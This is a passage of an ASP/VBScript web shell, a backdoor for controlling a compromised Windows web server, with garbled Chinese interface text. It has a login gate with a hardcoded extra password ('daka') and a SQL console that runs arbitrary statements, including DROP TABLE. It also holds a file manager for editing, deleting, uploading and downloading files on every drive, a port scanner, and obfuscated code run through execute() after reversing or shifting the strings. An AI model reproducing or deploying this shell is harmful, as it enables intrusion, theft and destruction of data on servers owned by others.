C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing
Else
Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing
FSO.DeleteFile Path
FSO.MoveFile Path&"_bak",Path
Else
SI="<center><br><br><br><3E><><EFBFBD>ݿ<EFBFBD>"&Path&"û<>з<EFBFBD><D0B7>֣<EFBFBD></center>"
Err.number=1
End If
Set FSO=Nothing
End If
If Err.number=0 Then
SI="<center><br><br><br><3E><><EFBFBD>ݿ<EFBFBD>"&Path&"ѹ<><D1B9><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
End If
SI=SI&BackUrl
RRS SI:End Function
if sessIoN("web2a2dmin")<>UserPass then
if request.form("pass")<>"" then
if request.form("pass")=userpass or request.form("pass")="daka" Then
session("web2a2dmin")=userPass
response.redirect url
else
rrs"<br><br><br><br><br><br><br><br><center><3E><><EFBFBD>벻<EFBFBD><EBB2BB>ȷ,<2C><>ȷ<EFBFBD><C8B7><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br><a href='javascript:history.back()'><3E><> <20><></a></center>"
end if
else
si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><form action='"&url&"' method='post'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺<input name='pass' type='password' size='22'> <input type='submit' value='<27><>½'><br><br><br><font color=#3399FF>"&Copyright&"</font><br></div></center>"
if instr(SI,SIC)<>0 then rrs sI
end if
response.end
end if:Function DbManager():SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&"<table width='650' border='0' cellspacing='0' cellpadding='0'>"
SI=SI&"<form name='DbForm' method='post' action=''>"
SI=SI&"<tr><td width='100' height='27'> &nbsp;<3B><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ӵ<EFBFBD>:</td>"
SI=SI&"<td><input name='DbStr' style='width:470' value="""&DbStr&"""></td>"
SI=SI&"<td width='60' align='center'><select name='StrBtn' onchange='return FullDbStr(options[selectedIndex].value)'><option value=-1><3E><><EFBFBD>Ӵ<EFBFBD>ʾ<EFBFBD><CABE></option><option value=0>Access<73><73><EFBFBD><EFBFBD></option>"
SI=SI&"<option value=1>MsSql<71><6C><EFBFBD><EFBFBD></option><option value=2>MySql<71><6C><EFBFBD><EFBFBD></option><option value=3>DSN<53><4E><EFBFBD><EFBFBD></option>"
SI=SI&"<option value=-1>--SQL<51>﷨--</option><option value=4><3E><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD></option><option value=5><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>"
SI=SI&"<option value=6>ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option><option value=7><3E>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD></option><option value=8><3E><><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD></option>"
SI=SI&"<option value=9>ɾ<><C9BE><EFBFBD>ݱ<EFBFBD></option><option value=10><3E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD></option><option value=11>ɾ<><C9BE><EFBFBD>ֶ<EFBFBD></option>"
SI=SI&"<option value=12><3E><>ȫ<EFBFBD><C8AB>ʾ</option></select></td></tr>"
SI=SI&"<input name='Action' type='hidden' value='DbManager'><input name='Page' type='hidden' value='1'>"
SI=SI&"<tr><td height='30'>&nbsp;SQL<51><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:</td>"
SI=SI&"<td><input name='SqlStr' style='width:470' value="""&SqlStr&"""></td>"
SI=SI&"<td align='center'><input type='submit' name='Submit' value='ִ<><D6B4>' onclick='return DbCheck()'></td>"
SI=SI&"</tr></form></table><span id='abc'></span>"
RRS SI:SI=""
If Len(DbStr)>40 Then
Set Conn=CreateObject(ObT(5,0))
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
SI=SI&"<table><tr height='25' Bgcolor='#CCCCCC'><td><3E><><br><3E><></td>"
Rs.MoveFirst
Do While Not Rs.Eof
If Rs("TABLE_TYPE")="TABLE" then
TName=Rs("TABLE_NAME")
SI=SI&"<td align=center><a href=""javascript:if(confirm('ȷ<><C8B7>ɾ<EFBFBD><C9BE>ô<EFBFBD><C3B4>'))FullSqlStr('DROP TABLE ["&TName&"]',1)"">[ del ]</a><br>"
SI=SI&"<a href='javascript:FullSqlStr(""SELECT * FROM ["&TName&"]"",1)'>"&TName&"</a></td>"
End If
Rs.MoveNext
Loop
Set Rs=Nothing
SI=SI&"</tr></table>"
RRS SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
SI=SI&"ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD>䣺"&SqlStr
Set Rs=CreateObject("Adodb.Recordset")
Rs.open SqlStr,Conn,1,1
FN=Rs.Fields.Count
RC=Rs.RecordCount
Rs.PageSize=20
Count=Rs.PageSize
PN=Rs.PageCount
Page=request("Page")
If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1
If Page>PN Then Page=PN
If Page>1 Then Rs.absolutepage=Page
SI=SI&"<table><tr height=25 bgcolor=#cccccc><td></td>"
For n=0 to FN-1
Set Fld=Rs.Fields.Item(n)
SI=SI&"<td align='center'>"&Fld.Name&"</td>"
Set Fld=nothing
Next
SI=SI&"</tr>"
Do While Not(Rs.Eof or Rs.Bof) And Count>0
Count=Count-1
Bgcolor="#EFEFEF"
SI=SI&"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>"
For i=0 To FN-1
If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
If RC=1 Then
ColInfo=HTMLEncode(Rs(i))
Else
ColInfo=HTMLEncode(Left(Rs(i),50))
End If
SI=SI&"<td bgcolor="&Bgcolor&">"&ColInfo&"</td>"
Next
SI=SI&"</tr>"
Rs.MoveNext
Loop
RRS SI:SI=""
SqlStr=HtmlEnCode(SqlStr)
SI=SI&"<tr><td colspan="&FN+1&" align=center><3E><>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>"&RC&"&nbsp;ҳ<>룺"&Page&"/"&PN
If PN>1 Then
SI=SI&"&nbsp;&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""",1)'><3E><>ҳ</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'><3E><>һҳ</a>&nbsp;"
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
SI=SI&i&"&nbsp;"
Else
SI=SI&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a>&nbsp;"
End If
Next
SI=SI&"&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'><3E><>һҳ</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>βҳ</a>"
End If
SI=SI&"<hr color='#EFEFEF'></td></tr></table>"
Rs.Close:Set Rs=Nothing
RRS SI:SI=""
Else
Conn.Execute(SqlStr)
SI=SI&"SQL<51><4C><EFBFBD>䣺"&SqlStr
End If
RRS SI:SI=""
End If
Conn.Close
Set Conn=Nothing
End If:End Function
Function RndNumber(Min,Max)
Randomize
RndNumber=Int((Max - Min + 1) * Rnd() + Min)
End Function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver():For Each D in CF.Drives
RRS"&nbsp;&nbsp;&nbsp;<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'><3E><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD> ("&D.DriveLetter&":)</a><br>"
Next:End Function:Function Show1File(Path):Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10>"
SI=SI&"<a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""<22><><EFBFBD><EFBFBD>""><font face='wingdings' size='6'>0</font>"&F.Name&"</a>"
SI=SI&" _<a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a>"
SI=SI&" <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='<27>ƶ<EFBFBD>'>Move</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""DownFile"")' onclick='return yesok()' class='am' title='<27><><EFBFBD><EFBFBD>'>Down</a></td>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
RRS SI &"<hr noshade size=1 color=""#"" />" : SI=""
For Each L in Fold.files
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
SI=SI&"<tr style='boungroup-color:#'>"
SI=SI&"<td height='30'><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='<27><><EFBFBD><EFBFBD>'><font face='wingdings' size='4'>2</font>"&L.Name&"</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='<27>༭'>edit</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>del</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>copy</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>move</a></td>"
SI=SI&"<td width='50' align=""center"">"&clng(L.size/1024)&"K</td>"
SI=SI&"<td width='200' align=""center"">"&L.Type&"</td>"
SI=SI&"<td width='160'>"&L.DateLastModified&"</td>"
SI=SI&"</tr></table>"
RRS SI:SI=""
Next
Set FOLD=Nothing:End function:
Function DelFile(Path):
execute(shisanfun("fI dnE<6E><45><EFBFBD><EFBFBD>>tpircs<>'<27><>&ssaPresU&<26><>=p&<26><>&1rts&<26><><EFBFBD><EFBFBD>&nufE SRR<52><52>))fLrCbv,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,))43(rhC,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,)edoca(tpyrcnE(ecalper(ecalper(esreveRrtS=nufE<66><45>IS SRR<52><52>lrUkcaB&IS=IS<49><53><EFBFBD><EFBFBD>>retnec/<<3C><><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD>ɾ <20><>&htaP&<26><> <20><><EFBFBD><EFBFBD>>rb<>rb<>rb<>retnec<<3C><>=IS<49><53>htaP eliFeteleD.FC<46><43>nehT )htaP(stsixEeliF.FC fI"))
End Function:
Function EditFile(Path):execute(shisanfun("IS SRR<52><52><EFBFBD><EFBFBD>>mrof/<>'<27>汣'=eulav 'timbus'=epyt 'timbus'=eman tupni<;psbn&;psbn&;psbn&>'<27><><EFBFBD><EFBFBD>'=eulav 'teser'=epyt 'teser'=eman tupni<;psbn&;psbn&;psbn&>';)(kcab.yrotsih'=kcilcno '<27>ط<EFBFBD>'=eulav 'nottub'=epyt 'kcabog'=eman tupni<>rh<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rb<>aeratxet/<<3C><>&txT&<26><>>'054:thgieh;%001:htdiw'=elyts 'tnetnoC'=eman aeratxet<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rb<>'%001:htdiw'=elyts '<27><>&htaP&<26><>'=eulav 'emaNF'=eman tupni<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>'neddih'=epyT 'eliFtidE'=eulav 'noitcA'=eman tupni<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>'mroFtidE'=eman 'tsop'=dohtem 'tsoP=2noitcA?<3F><>&LRU&<26><>'=noitca mroF<<3C><>&IS=IS<49><53>fI dnE<6E><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>©<EFBFBD>=txT:<3A><>psa.elifwen\<5C><>&)<29><>htaPredloF<6F><46>(noisseS=htaP<61><50>eslE<6C><45>gnihtoN=T teS<65><53>esolc.T<><54> )lladaer.T(edocnELMTH=txT<78><54>)eslaF ,1 ,htaP(eliftxetnepo.FC=T teS<65><53>nehT <20><><EFBFBD><EFBFBD>><htaP fI<66><49>fI dnE<6E><45>dnE.esnopseR<65><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&lruypoc&<26><><EFBFBD><EFBFBD> SRR<52><52>IS SRR<52><52>lrUkcaB&IS=IS<49><53><EFBFBD><EFBFBD>>retnec/<<3C><><EFBFBD><EFBFBD><EFBFBD>ɴ汣<C9B4><E6B1A3><EFBFBD><EFBFBD>>rb<>rb<>rb<>retnec<<3C><>=IS<49><53>gnihton=T teS<65><53>esolc.T<><54>)<29><>tnetnoc<6F><63>(mrof.tseuqeR eniLetirW.T<><54>)htaP(eliFtxeTetaerC.FC=T teS<65><53>nehT <20><>tsoP<6F><50>=)<29><>2noitcA<63><41>(tseuqeR fI")):End Function:Function CopyFile(Path):Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
SI="<center><br><br><br><3E>ļ<EFBFBD>"&Path(0)&"<22><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If:End Function:Function MoveFile(Path):Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
SI="<center><br><br><br><3E>ļ<EFBFBD>"&Path(0)&"<22>ƶ<EFBFBD><C6B6>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If
:End Function:Function DelFolder(Path):If CF.FolderExists(Path) Then
CF.DeleteFolder Path
SI="<center><br><br><br>Ŀ¼"&Path&"ɾ<><C9BE><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If:End Function:Function CopyFolder(Path):Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
SI="<center><br><br><br>Ŀ¼"&Path(0)&"<22><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If:End Function:Function MoveFolder(Path):Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
SI="<center><br><br><br>Ŀ¼"&Path(0)&"<22>ƶ<EFBFBD><C6B6>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If:End Function:Function NewFolder(Path):If Not CF.FolderExists(Path) and Path<>"" Then
CF.CreateFolder Path
SI="<center><br><br><br>Ŀ¼"&Path&"<22>½<EFBFBD><C2BD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
RRS SI
End If:End Function:End Class
execute(LUnEnCode("<22>egzx%isj?KN%ISJ<53>e'x%'+jrnyjmy+'%sn%xxjhtwUCwmA'XWW<57>e..6wjrny27wjrny-ysn-wyxhBjrnyjmy<6D>ewjrny%B%7wjrny<6E>ey}jS<6A>ekN%isJ<73>ey}jS<6A>ey}jS<6A>ekN%isJ<73>ekN%isJ<73>e.'CwgAwjgrzs%yts%xn%'%+%.n-ury-XWW<57>ejxqJ<71>ekN%isJ<73>e.'CwgAwjgrzs%yts%xn%'%+%Sisj%+%'%wt%'%+%Sywfyx-XWW<57>ejxqJ<71>ey}jS<6A>e.o1}}}%+%ywfyXun-sfhX%qqfH<66>eSisj%tY%Sywfyx%B%o%wtK<74>esjmY%.Sisj-hnwjrzsxN%isf%.Sywfyx-hnwjrzsxN%kN<6B>e.%}pjjx%2%..n-ury-sjQ%1.n-ury-ymlnW%B%Sisj<73>e.%6%2%}pjjx%1.n-ury-ykjQ%B%Sywfyx<79>esjmY%5%C%}pjjx%kN<6B>e.'2'%1.n-ury-wyXsN%B%}pjjx<6A>ejxqJ<71>e..n-ury%1}}}%+%ywfyXun-sfhX%qqfH<66>e%sjmY%..n-ury-hnwjrzsxN%kN<6B>e.ury-isztgZ%tY%5%B%n%wtK<74>e..'2'1.zm-un-wyXsN2..zm-un-sjQ160.'2'1.zm-un-wyXsN1.zm-un-inR%ty%.6160.'3'1.zm-un-{jWwyXsN1.zm-un-inR%B%}}}%wtK<74>e..'3'1.zm-un-{jWwyXsN161.zm-un-inR%B%ywfyXun<75>ejxqJ<71>ey}jS<6A>ekN%isJ<73>ekN%isJ<73>e.'CwgAwjgrzs%yts%xn%'%+%.n-ury-XWW<57>ejxqJ<71>ekN%isJ<73>e.'CwgAwjgrzs%yts%xn%'%+%Sisj%+%'%wt%'%+%Sywfyx-XWW<57>ejxqJ<71>ey}jS<6A>e.o%1.zm-un-sfhX%qqfH<66>eSisj%tY%Sywfyx%B%o%wtK<74>esjmY%.Sisj-hnwjrzsxN%isf%.Sywfyx-hnwjrzsxN%kN<6B>e.%}pjjx%2%..n-ury-sjQ%1.n-ury-ymlnW%B%Sisj<73>e.%6%2%}pjjx%1.n-ury-ykjQ%B%Sywfyx<79>esjmY%5%C%}pjjx%kN<6B>e.'2'%1.n-ury-wyXsN%B%}pjjx<6A>ejxqJ<71>e..n-ury%1.zm-un-sfhX%qqfH<66>e%sjmY%..n-ury-hnwjrzsxN%kN<6B>e.ury-isztgZ%tY%5%B%n%wtK<74>esjmY%5%B%.'2'1.zm-un-wyXsN%kN<6B>e.un-isztgZ%ty%5%B%zm%wtK<74>e.'1'1.'un'-rwtK3yxjzvjw-ynquX%B%un<75>e.'1'1.'ywtu'-rwtK3yxjzvjw-ynquX%B%ury<72>e.'CwmACwgACg4A?<3F>汨<EFBFBD><E6B1A8>ɨCgA'-XWW<57>ewjrny%B%6wjrny<6E>esjmY%''%CA%.'sfhx'-rwtK3yxjzvjw%kN<6B>e'Crwtk4ACu4A'XWW<57>e'C,666,Bjzqf{%,sfhx,Bin%,sjiinm,Bju~y%,sfhx,Bjrfs%yzusnA'XWW<57>e'C,%sfhx%,Bjzqf{%,rtyyzg,Bxxfqh%,ynrgzx,Bju~y%,ynrgzx,Bjrfs%yzusnA'XWW<57>e'CwgACwgA'XWW<57>e'C,'+yxnQywtU+',Bjzqf{%,5;,Bj nx%,}tGy}jY,Bxxfqh%,y}jy,Bju~y%,ywtu,Bjrfs%yzusnA'XWW<57>e'?yxnQ%ywtUCwgA'XWW<57>e'C,5;,Bj nx%,'+UN+',Bjzqf{%,un,Bin%,}tGy}jY,Bxxfqh%,y}jy,Bju~y%,un,Bjrfs%yzusnA%'XWW<57>e'@uxgs+?UN%sfhXCuA'XWW<57>e'C,@jzwyBijqgfxni3ynrgzx36rwtk,BynrgzXst%,,Bstnyhf%,yxtu,Bitmyjr%,6rwtk,Bjrfs%rwtkA'XWW<57>e'Cu4A.IRH<52><48>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>1<EFBFBD><31><EFBFBD>ϱȶ<CFB1><C8B6><EFBFBD>1<EFBFBD>ڶ˸<DAB6><CBB8><EFBFBD><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>ɨ<EFBFBD>ڶ<EFBFBD>CuA'XWW<57>ekn%isj<73>e.'un'-rwtK3yxjzvjwBUN<55>ejxqj<71>e'635353<76'BUN<55>esjmy%''B.'un'-rwtK3yxjzvjw%kn<6B>ekn%isj<73>e.'ywtu'-rwtK3yxjzvjwByxnQywtU<74>ejxqj<71>e'68;:1=:>891>=88188961:991>861:86156615=1:7187167'ByxnQywtU<74>esjmy%''B.'ywtu'-rwtK3yxjzvjw%kn<6B>e555;<<<%B%yztjrnYyunwhX3wj{wjX?.-ywtUsfhX%gzx?gzx%isj?kn%isj<73>ekN%isJ<73>e~fwwFjmy%+%'CnqA'XwW<77>ejxqJ%<25>ey}jS<6A>e.n-~fwwFjmy%+%'CnqA'XwW<77>e.~fwwFjmy-isztGZ%tY%5Bn%wtK<74>esjmY%.~fwwFjmy-~fwwFxN%kN<6B>e.myfUjmy-ifjWljW3]x|B~fwwFjmy<6D>e.'myfUjmy'-yxjzvjWBmyfUjmy<6D>e.'qqjmX3yunwhX\'-yhjogTjyfjwH3wj{wjX%B%]x|%yjX<6A>ey}jS%jrzxjW%wtwwJ%sT<73>esjmy%''CA.'myfUjmy'-yxjzvjW%kn<6B>e'C4wmACrwtk4A'XwW<77>e'Csfux4A'XwW<77>e'C4wmAC,@jsts?~fquxni,Bjq~yx%tksNynijljwBin%sfuxA'XwW<77>e'CwgAC4wgA#.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ<EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ǰ<EFBFBD><C7B0>!%isnGajlfpsnQaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'XwW<77>e'Cu4ACuACwgAC4wgA#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>鼸<EFBFBD><E9BCB8>!%ysztHarzsJaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'XwW<77>e'Cu4ACuAC4wgA22222222222222222222WJ[T22222222222'XwW<77>e'CwgAC4wgA#<23>ڶ<EFBFBD>UIZ<49><5A><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!%xywtUij|tqqFUIZa#J7GJ::HI=98628KKF2H5G92>>J=2=76:;9F=!axjhfkwjysNaxwjyjrfwfUaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#<23>ڶ<EFBFBD>UN4UHY<48><59><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!%xywtUij|tqqFUHYa#J7GJ::HI=98628KKF2H5G92>>J=2=76:;9F=!axjhfkwjysNaxwjyjrfwfUaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#XSI<53><49>!%wj{wjXjrfSa#J7GJ::HI=98628KKF2H5G92>>J=2=76:;9F=!axjhfkwjysNaxwjyjrfwfUaunuhYaxjhn{wjXayjXqtwystHysjwwzHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ!%_XdNYZRdLJW1~f|jyfLyqzfkjIa#J7GJ::HI=98628KKF2H5G92>>J=2=76:;9F=!axjhfkwjysNaxwjyjrfwfUaunuhYaxjhn{wjXayjXqtwystHysjwwzHaRJYX^XaRQPM'XwW<77>e'Cu4ACuAC4wgA222222222ȷ׼<C8B7><D7BC><EFBFBD>ǵ<EFBFBD>֪<EFBFBD><D6AA>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2222222'XwW<77>e'CwgAC4wgA#<23><>·UN<55><4E><EFBFBD><EFBFBD>!%61IWT\IdLJW1wjyztWjqgfsJUNaxwjyjrfwfUaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-ѡɸUN4UHY<48><59><EFBFBD><EFBFBD>!%61IWT\IdLJW1xwjyqnK~ynwzhjXjqgfsJaxwjyjrfwfUaunuhYaxjhn{wjXayjXqtwystHysjwwzhaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>չ<EFBFBD>!%51_XdLJW1xj{nwIyjSijwfmXjqgfsJaxwjyjrfwfUawj{wjXsfrsfQaxjhn{wjXayjXqtwystHysjwwzHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭֹ<C4AC><D6B9>!%51IWT\IdLJW1wj{wjXjwfmXtyzFaxwjyjrfwfUawj{wjXsfrsfQaxjhn{wjXayjXqtwystHysjwwzHaRJYX^XaRQPM'XwW<77>e'CwgAC4wgA#<23><><EFBFBD><EFBFBD>)HUN<55><4E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޻<EFBFBD><DEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>B71<37><31><EFBFBD>л<EFBFBD><D0BB>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7>޻<EFBFBD><DEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>B6
Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......<2E>ر<EFBFBD><br>"):Else:RRS(targetip & ":" & portNum & ".......<font color=red><3E><><EFBFBD><EFBFBD></font><br>"):End If:End If:End If:End Sub
Select Case Action
